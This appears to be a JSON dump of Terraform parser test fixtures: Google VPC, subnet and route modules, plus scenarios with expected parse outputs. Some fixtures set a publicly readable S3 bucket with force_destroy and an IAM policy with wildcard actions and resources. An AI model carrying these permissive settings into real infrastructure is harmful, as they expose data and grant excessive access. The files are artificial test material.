    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nlocals {\n  routes = {\n    for i, route in var.routes :\n    lookup(route, \"name\", format(\"%s-%s-%d\", lower(var.network_name), \"route\", i)) => route\n  }\n}\n\n/******************************************\n\tRoutes\n *****************************************/\nresource \"google_compute_route\" \"route\" {\n  for_each = local.routes\n\n  project = var.project_id\n  network = var.network_name\n\n  name                   = each.key\n  description            = lookup(each.value, \"description\", null)\n  tags                   = compact(split(\",\", lookup(each.value, \"tags\", \"\")))\n  dest_range             = lookup(each.value, \"destination_range\", null)\n  next_hop_gateway       = lookup(each.value, \"next_hop_internet\", \"false\") == \"true\" ? \"default-internet-gateway\" : null\n  next_hop_ip            = lookup(each.value, \"next_hop_ip\", null)\n  next_hop_instance      = lookup(each.value, \"next_hop_instance\", null)\n  next_hop_instance_zone = lookup(each.value, \"next_hop_instance_zone\", null)\n  next_hop_vpn_tunnel    = lookup(each.value, \"next_hop_vpn_tunnel\", null)\n  priority               = lookup(each.value, \"priority\", null)\n\n  depends_on = [var.module_depends_on]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"routes\" {\n  value       = google_compute_route.route\n  description = \"The created routes resources\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where the routes will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network where routes will be created\"\n}\n\nvariable \"routes\" {\n  type        = list(map(string))\n  description = \"List of routes being created in this VPC\"\n  default     = []\n}\n\nvariable \"module_depends_on\" {\n  description = \"List of modules or resources this module depends on.\"\n  type        = list\n  default     = []\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/******************************************\n\tRoutes\n *****************************************/\nresource \"google_compute_route\" \"route\" {\n  provider = google-beta\n  count    = var.routes_count\n\n  project = var.project_id\n  network = var.network_name\n\n  name                   = lookup(var.routes[count.index], \"name\", format(\"%s-%s-%d\", lower(var.network_name), \"route\", count.index))\n  description            = lookup(var.routes[count.index], \"description\", null)\n  tags                   = compact(split(\",\", lookup(var.routes[count.index], \"tags\", \"\")))\n  dest_range             = lookup(var.routes[count.index], \"destination_range\", null)\n  next_hop_gateway       = lookup(var.routes[count.index], \"next_hop_internet\", \"false\") == \"true\" ? \"default-internet-gateway\" : \"\"\n  next_hop_ip            = lookup(var.routes[count.index], \"next_hop_ip\", null)\n  next_hop_instance      = lookup(var.routes[count.index], \"next_hop_instance\", null)\n  next_hop_instance_zone = lookup(var.routes[count.index], \"next_hop_instance_zone\", null)\n  next_hop_vpn_tunnel    = lookup(var.routes[count.index], \"next_hop_vpn_tunnel\", null)\n  next_hop_ilb           = lookup(var.routes[count.index], \"next_hop_ilb\", null)\n  priority               = lookup(var.routes[count.index], \"priority\", null)\n\n  depends_on = [var.module_depends_on]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"routes\" {\n  value       = google_compute_route.route\n  description = \"The created routes resources\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/routes-beta/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where the routes will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network where routes will be created\"\n}\n\nvariable \"routes\" {\n  type        = list(map(string))\n  description = \"List of routes being created in this VPC\"\n  default     = []\n}\n\nvariable \"routes_count\" {\n  type        = number\n  description = \"Amount of routes being created in this VPC\"\n  default     = 0\n}\n\nvariable \"module_depends_on\" {\n  description = \"List of modules or resources this module depends on.\"\n  type        = list\n  default     = []\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nlocals {\n  subnets = {\n    for x in var.subnets :\n    \"${x.subnet_region}/${x.subnet_name}\" => x\n  }\n}\n\n\n/******************************************\n\tSubnet configuration\n *****************************************/\nresource \"google_compute_subnetwork\" \"subnetwork\" {\n  for_each                 = local.subnets\n  name                     = each.value.subnet_name\n  ip_cidr_range            = each.value.subnet_ip\n  region                   = each.value.subnet_region\n  private_ip_google_access = lookup(each.value, \"subnet_private_access\", \"false\")\n  dynamic \"log_config\" {\n    for_each = lookup(each.value, \"subnet_flow_logs\", false) ? [{\n      aggregation_interval = lookup(each.value, \"subnet_flow_logs_interval\", \"INTERVAL_5_SEC\")\n      flow_sampling        = lookup(each.value, \"subnet_flow_logs_sampling\", \"0.5\")\n      metadata             = lookup(each.value, \"subnet_flow_logs_metadata\", \"INCLUDE_ALL_METADATA\")\n    }] : []\n    content {\n      aggregation_interval = log_config.value.aggregation_interval\n      flow_sampling        = log_config.value.flow_sampling\n      metadata             = log_config.value.metadata\n    }\n  }\n  network     = var.network_name\n  project     = var.project_id\n  description = lookup(each.value, \"description\", null)\n  secondary_ip_range = [\n    for i in range(\n      length(contains(keys(var.secondary_ranges), each.value.subnet_name) == true ? var.secondary_ranges[each.value.subnet_name] : [])) : var.secondary_ranges[each.value.subnet_name][i]\n  ]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"subnets\" {\n  value       = google_compute_subnetwork.subnetwork\n  description = \"The created subnet resources\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where subnets will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network where subnets will be created\"\n}\n\nvariable \"subnets\" {\n  type        = list(map(string))\n  description = \"The list of subnets being created\"\n}\n\nvariable \"secondary_ranges\" {\n  type        = map(list(object({ range_name = string, ip_cidr_range = string })))\n  description = \"Secondary ranges that will be used in some of the subnets\"\n  default     = {}\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nlocals {\n  subnets = {\n    for x in var.subnets :\n    \"${x.subnet_region}/${x.subnet_name}\" => x\n  }\n}\n\n\n/******************************************\n\tSubnet configuration\n *****************************************/\nresource \"google_compute_subnetwork\" \"subnetwork\" {\n  provider                 = google-beta\n  for_each                 = local.subnets\n  name                     = each.value.subnet_name\n  ip_cidr_range            = each.value.subnet_ip\n  region                   = each.value.subnet_region\n  private_ip_google_access = lookup(each.value, \"subnet_private_access\", \"false\")\n  dynamic \"log_config\" {\n    for_each = lookup(each.value, \"subnet_flow_logs\", false) ? [{\n      aggregation_interval = lookup(each.value, \"subnet_flow_logs_interval\", null)\n      flow_sampling        = lookup(each.value, \"subnet_flow_logs_sampling\", null)\n      metadata             = lookup(each.value, \"subnet_flow_logs_metadata\", null)\n    }] : []\n    content {\n      aggregation_interval = log_config.value.aggregation_interval\n      flow_sampling        = log_config.value.flow_sampling\n      metadata             = log_config.value.metadata\n    }\n  }\n  network     = var.network_name\n  project     = var.project_id\n  description = lookup(each.value, \"description\", null)\n  secondary_ip_range = [\n    for i in range(\n      length(\n        contains(\n        keys(var.secondary_ranges), each.value.subnet_name) == true\n        ? var.secondary_ranges[each.value.subnet_name]\n        : []\n    )) :\n    var.secondary_ranges[each.value.subnet_name][i]\n  ]\n\n  purpose = lookup(each.value, \"purpose\", null)\n  role    = lookup(each.value, \"role\", null)\n\n  depends_on = [var.module_depends_on]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"subnets\" {\n  value       = google_compute_subnetwork.subnetwork\n  description = \"The created subnet resources\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/subnets-beta/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where subnets will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network where subnets will be created\"\n}\n\nvariable \"subnets\" {\n  type        = list(map(string))\n  description = \"The list of subnets being created\"\n}\n\nvariable \"secondary_ranges\" {\n  type        = map(list(object({ range_name = string, ip_cidr_range = string })))\n  description = \"Secondary ranges that will be used in some of the subnets\"\n  default     = {}\n}\n\nvariable \"module_depends_on\" {\n  description = \"List of modules or resources this module depends on.\"\n  type        = list\n  default     = []\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/main.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\n/******************************************\n\tVPC configuration\n *****************************************/\nresource \"google_compute_network\" \"network\" {\n  name                            = var.network_name\n  auto_create_subnetworks         = var.auto_create_subnetworks\n  routing_mode                    = var.routing_mode\n  project                         = var.project_id\n  description                     = var.description\n  delete_default_routes_on_create = var.delete_default_internet_gateway_routes\n}\n\n/******************************************\n\tShared VPC\n *****************************************/\nresource \"google_compute_shared_vpc_host_project\" \"shared_vpc_host\" {\n  count      = var.shared_vpc_host ? 1 : 0\n  project    = var.project_id\n  depends_on = [google_compute_network.network]\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"network\" {\n  value       = google_compute_network.network\n  description = \"The VPC resource being created\"\n}\n\noutput \"network_name\" {\n  value       = google_compute_network.network.name\n  description = \"The name of the VPC being created\"\n}\n\noutput \"network_self_link\" {\n  value       = google_compute_network.network.self_link\n  description = \"The URI of the VPC being created\"\n}\n\noutput \"project_id\" {\n  value       = var.shared_vpc_host && length(google_compute_shared_vpc_host_project.shared_vpc_host) > 0 ? google_compute_shared_vpc_host_project.shared_vpc_host.*.project[0] : google_compute_network.network.project\n  description = \"VPC project id\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/modules/vpc/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where this VPC will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network being created\"\n}\n\nvariable \"routing_mode\" {\n  type        = string\n  default     = \"GLOBAL\"\n  description = \"The network routing mode (default 'GLOBAL')\"\n}\n\nvariable \"shared_vpc_host\" {\n  type        = bool\n  description = \"Makes this project a Shared VPC host if 'true' (default 'false')\"\n  default     = false\n}\n\nvariable \"description\" {\n  type        = string\n  description = \"An optional description of this resource. The resource must be recreated to modify this field.\"\n  default     = \"\"\n}\n\nvariable \"auto_create_subnetworks\" {\n  type        = bool\n  description = \"When set to true, the network is created in 'auto subnet mode' and it will create a subnet for each region automatically across the 10.128.0.0/9 address range. When set to false, the network is created in 'custom subnet mode' so the user can explicitly connect subnetwork resources.\"\n  default     = false\n}\n\nvariable \"delete_default_internet_gateway_routes\" {\n  type        = bool\n  description = \"If set, ensure that all routes within the network specified whose names begin with 'default-route' and with a next hop of 'default-internet-gateway' are deleted\"\n  default     = false\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/outputs.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\noutput \"network\" {\n  value       = module.vpc\n  description = \"The created network\"\n}\n\noutput \"subnets\" {\n  value       = module.subnets.subnets\n  description = \"A map with keys of form subnet_region/subnet_name and values being the outputs of the google_compute_subnetwork resources used to create corresponding subnets.\"\n}\n\noutput \"network_name\" {\n  value       = module.vpc.network_name\n  description = \"The name of the VPC being created\"\n}\n\noutput \"network_self_link\" {\n  value       = module.vpc.network_self_link\n  description = \"The URI of the VPC being created\"\n}\n\noutput \"project_id\" {\n  value       = module.vpc.project_id\n  description = \"VPC project id\"\n}\n\noutput \"subnets_names\" {\n  value       = [for network in module.subnets.subnets : network.name]\n  description = \"The names of the subnets being created\"\n}\n\noutput \"subnets_ips\" {\n  value       = [for network in module.subnets.subnets : network.ip_cidr_range]\n  description = \"The IPs and CIDRs of the subnets being created\"\n}\n\noutput \"subnets_self_links\" {\n  value       = [for network in module.subnets.subnets : network.self_link]\n  description = \"The self-links of subnets being created\"\n}\n\noutput \"subnets_regions\" {\n  value       = [for network in module.subnets.subnets : network.region]\n  description = \"The region where the subnets will be created\"\n}\n\noutput \"subnets_private_access\" {\n  value       = [for network in module.subnets.subnets : network.private_ip_google_access]\n  description = \"Whether the subnets will have access to Google API's without a public IP\"\n}\n\noutput \"subnets_flow_logs\" {\n  value       = [for network in module.subnets.subnets : length(network.log_config) != 0 ? true : false]\n  description = \"Whether the subnets will have VPC flow logs enabled\"\n}\n\noutput \"subnets_secondary_ranges\" {\n  value       = [for network in module.subnets.subnets : network.secondary_ip_range]\n  description = \"The secondary ranges associated with these subnets\"\n}\n\noutput \"route_names\" {\n  value       = [for route in module.routes.routes : route.name]\n  description = \"The route names associated with this VPC\"\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/count_eval/variables.tf",
    "content": "/**\n * Copyright 2019 Google LLC\n *\n * Licensed under the Apache License, Version 2.0 (the \"License\");\n * you may not use this file except in compliance with the License.\n * You may obtain a copy of the License at\n *\n *      http://www.apache.org/licenses/LICENSE-2.0\n *\n * Unless required by applicable law or agreed to in writing, software\n * distributed under the License is distributed on an \"AS IS\" BASIS,\n * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.\n * See the License for the specific language governing permissions and\n * limitations under the License.\n */\n\nvariable \"project_id\" {\n  description = \"The ID of the project where this VPC will be created\"\n}\n\nvariable \"network_name\" {\n  description = \"The name of the network being created\"\n}\n\nvariable \"routing_mode\" {\n  type        = string\n  default     = \"GLOBAL\"\n  description = \"The network routing mode (default 'GLOBAL')\"\n}\n\nvariable \"shared_vpc_host\" {\n  type        = bool\n  description = \"Makes this project a Shared VPC host if 'true' (default 'false')\"\n  default     = false\n}\n\nvariable \"subnets\" {\n  type        = list(map(string))\n  description = \"The list of subnets being created\"\n}\n\nvariable \"secondary_ranges\" {\n  type        = map(list(object({ range_name = string, ip_cidr_range = string })))\n  description = \"Secondary ranges that will be used in some of the subnets\"\n  default     = {}\n}\n\nvariable \"routes\" {\n  type        = list(map(string))\n  description = \"List of routes being created in this VPC\"\n  default     = []\n}\n\nvariable \"delete_default_internet_gateway_routes\" {\n  type        = bool\n  description = \"If set, ensure that all routes within the network specified whose names begin with 'default-route' and with a next hop of 'default-internet-gateway' are deleted\"\n  default     = false\n}\n\n\nvariable \"description\" {\n  type        = string\n  description = \"An optional description of this resource. The resource must be recreated to modify this field.\"\n  default     = \"\"\n}\n\nvariable \"auto_create_subnetworks\" {\n  type        = bool\n  description = \"When set to true, the network is created in 'auto subnet mode' and it will create a subnet for each region automatically across the 10.128.0.0/9 address range. When set to false, the network is created in 'custom subnet mode' so the user can explicitly connect subnetwork resources.\"\n  default     = false\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/default_evaluation/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"locals\": [\n      {\n        \"dummy_with_dash\": [\"my-bucket-name\"],\n        \"dummy_with_comma\": [\"my-bucket-name\"],\n        \"bucket_name\": [\"my-bucket-name\"]\n      }\n    ],\n    \"resource\": [\n      {\n        \"aws_cognito_user_group\": {\n          \"user_group\": {\n            \"name\": [\"this-is-my-default\"],\n            \"description\": [\"this-is-my-default\"],\n            \"user_pool_id\": [\"this-is-my-default\"]\n          }\n        },\n        \"null_resource\": {\n          \"create_cognito_user\": {\n\n          }\n        }\n      }\n    ],\n    \"variable\": [\n      {\n        \"BUCKET_NAME\": {\n          \"type\": [\"string\"],\n          \"default\": [\"this-is-my-default\"]\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/default_evaluation/main.tf",
    "content": "locals {\n  dummy_with_dash      = format(\"-%s\", var.dummy_1)\n  dummy_with_comma     = format(\":%s\", var.dummy_1)\n  bucket_name          = var.bucket_name\n}\n\nresource \"aws_cognito_user_group\" \"user_group\" {\n  name         = \"${var.customer_name}_group\"\n  description  = \"${var.customer_name} user group\"\n  user_pool_id = var.user_pool_id\n}\n\nresource \"null_resource\" \"create_cognito_user\" {\n  count = var.user_exists ? 0 : 1\n  triggers = {\n    build_number = var.user_email\n  }\n\n  provisioner \"local-exec\" {\n    command = \"aws --profile=${var.aws_profile} --region=${var.region} cognito-idp admin-create-user --user-pool-id ${var.user_pool_id} --username ${var.user_email}\"\n  }\n}\n\ndata \"aws_iam_policy_document\" \"event_stream_bucket_role_assume_role_policy\" {\n  statement {\n    actions = [var.action]\n\n    resources = [\n      \"*\",\n      \"abc\"\n    ]\n    principals {\n      type        = \"Service\"\n      identifiers = [\"firehose.amazonaws.com\"]\n    }\n\n    principals {\n      type        = \"AWS\"\n      identifiers = var.trusted_role_arn\n    }\n  }\n}\n\nresource \"aws_s3_bucket\" \"template_bucket\" {\n  region        = var.region\n  bucket        = local.bucket_name\n  acl           = var.acl\n  force_destroy = true\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/default_evaluation/variables.tf",
    "content": "variable \"customer_name\" {\n  default = \"Pavel_Checkov\"\n}\n\nvariable \"user_email\" {\n  default = \"checkov@bridgecrew.io\"\n}\n\nvariable \"bucket_name\" {\n  default = \"MyBucket\"\n}\n\nvariable \"acl\" {\n  default = \"public-acl\"\n}\n\nvariable \"action\" {\n  default = \"*\"\n}\n\nvariable \"trusted_role_arn\" {\n  default = \"aws:arn:xxx:xxx\"\n}\n\nvariable \"region\" {\n  default = \"us-west-2\"\n}\n\nvariable \"app_client_id\" {\n  description = \"Indicates whether the app client has been created\"\n  default = \"Temp\"\n}\n\nvariable \"user_pool_id\" {\n  default = \"123\"\n}\n\nvariable \"aws_profile\" {\n  default = \"default\"\n}\n\nvariable \"dummy_1\" {\n  default = \"dummy_1\"\n}\n\nvariable \"user_exists\" {\n  default = false\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/default_var_types/expected.json",
    "content": "{\n  \"{\\\"file_path\\\": \\\"main.tf\\\", \\\"tf_source_modules\\\": null}\": {\n    \"resource\": [\n      {\n        \"google_compute_instance\": {\n          \"a\": {\n            \"metadata\": [{\n              \"x\": \"123\",\n              \"block-project-ssh-keys\": true\n            }],\n            \"__start_line__\": 29,\n            \"__end_line__\": 31,\n            \"__address__\": \"google_compute_instance.a\"\n          },\n          \"b\": {\n            \"metadata\": [{\n              \"block-project-ssh-keys\": true\n            }],\n            \"__start_line__\": 33,\n            \"__end_line__\": 35,\n            \"__address__\": \"google_compute_instance.b\"\n          },\n          \"c\": {\n            \"metadata\": [{\n              \"x\": \"123\",\n              \"block-project-ssh-keys\": true\n            }],\n            \"__start_line__\": 37,\n            \"__end_line__\": 39,\n            \"__address__\": \"google_compute_instance.c\"\n          },\n          \"d\": {\n            \"metadata\": [{\n              \"block-project-ssh-keys\": true\n            }],\n            \"__start_line__\": 41,\n            \"__end_line__\": 43,\n            \"__address__\": \"google_compute_instance.d\"\n          },\n          \"e\": {\n            \"metadata\": [[\"123\", \"xyz\"]],\n            \"__start_line__\": 45,\n            \"__end_line__\": 47,\n            \"__address__\": \"google_compute_instance.e\"\n          },\n          \"f\": {\n            \"metadata\": [[\"xyz\"]],\n            \"__start_line__\": 49,\n            \"__end_line__\": 51,\n            \"__address__\": \"google_compute_instance.f\"\n          }\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/default_var_types/main.tf",
    "content": "variable \"map_with_default\" {\n  type = map(string)\n  default = {x = \"123\"}\n}\n\nvariable \"map_without_default\" {\n  type = map(string)\n}\n\nvariable \"map_with_default_no_type\" {\n  type = map\n  default = {x = \"123\"}\n}\n\nvariable \"map_without_default_no_type\" {\n  type = map\n}\n\nvariable \"list_with_default\" {\n  type = list(string)\n  default = [\"123\"]\n}\n\nvariable \"list_without_default\" {\n  type = list(string)\n}\n\n\nresource \"google_compute_instance\" \"a\" {\n  metadata = merge(var.map_with_default, {block-project-ssh-keys = true})\n}\n\nresource \"google_compute_instance\" \"b\" {\n  metadata = merge(var.map_without_default, {block-project-ssh-keys = true})\n}\n\nresource \"google_compute_instance\" \"c\" {\n  metadata = merge(var.map_with_default_no_type, {block-project-ssh-keys = true})\n}\n\nresource \"google_compute_instance\" \"d\" {\n  metadata = merge(var.map_without_default_no_type, {block-project-ssh-keys = true})\n}\n\nresource \"google_compute_instance\" \"e\" {\n  metadata = concat(var.list_with_default, [\"xyz\"])\n}\n\nresource \"google_compute_instance\" \"f\" {\n  metadata = concat(var.list_without_default, [\"xyz\"])\n}\n"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/README.md",
    "content": "This is verifying behavior of the \"Concepts/Evaluations.md\" doc."
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/eval.json",
    "content": "{\n  \"main.tf\": {\n    \"acl\": {\n      \"var_file\": \"variables.tf\",\n      \"value\": \"public-read\",\n      \"definitions\": [\n        {\n          \"definition_name\": \"acl\",\n          \"definition_expression\": \"${var.acl}\",\n          \"definition_path\": \"resource/0/aws_s3_bucket/my_bucket/acl/0\"\n        }\n      ]\n    },\n    \"region\": {\n      \"var_file\": \"variables.tf\",\n      \"value\": \"us-west-2\",\n      \"definitions\": [\n        {\n          \"definition_name\": \"region\",\n          \"definition_expression\": \"${var.region}\",\n          \"definition_path\": \"resource/0/aws_s3_bucket/my_bucket/region/0\"\n        }\n      ]\n    }\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/expected.json",
    "content": "{\n  \"main.tf\": {\n    \"resource\": [\n      {\n        \"aws_s3_bucket\": {\n          \"my_bucket\": {\n            \"region\": [\"us-west-2\"],\n            \"bucket\": [\"${local.bucket_name}\"],\n            \"acl\": [\"public-read\"],\n            \"force_destroy\": [true]\n          }\n        }\n      }\n    ]\n  },\n  \"variables.tf\": {\n    \"variable\": [\n      {\n        \"bucket_name\": {\n          \"default\": [\n            \"MyBucket\"\n          ]\n        }\n      },\n      {\n        \"acl\": {\n          \"default\": [\n            \"public-read\"\n          ]\n        }\n      },\n      {\n        \"region\": {\n          \"default\": [\"us-west-2\"]\n        }\n      }\n    ]\n  }\n}"
  },
  {
    "path": "tests/terraform/parser/resources/parser_scenarios/doc_evaluations_verify/main.tf",
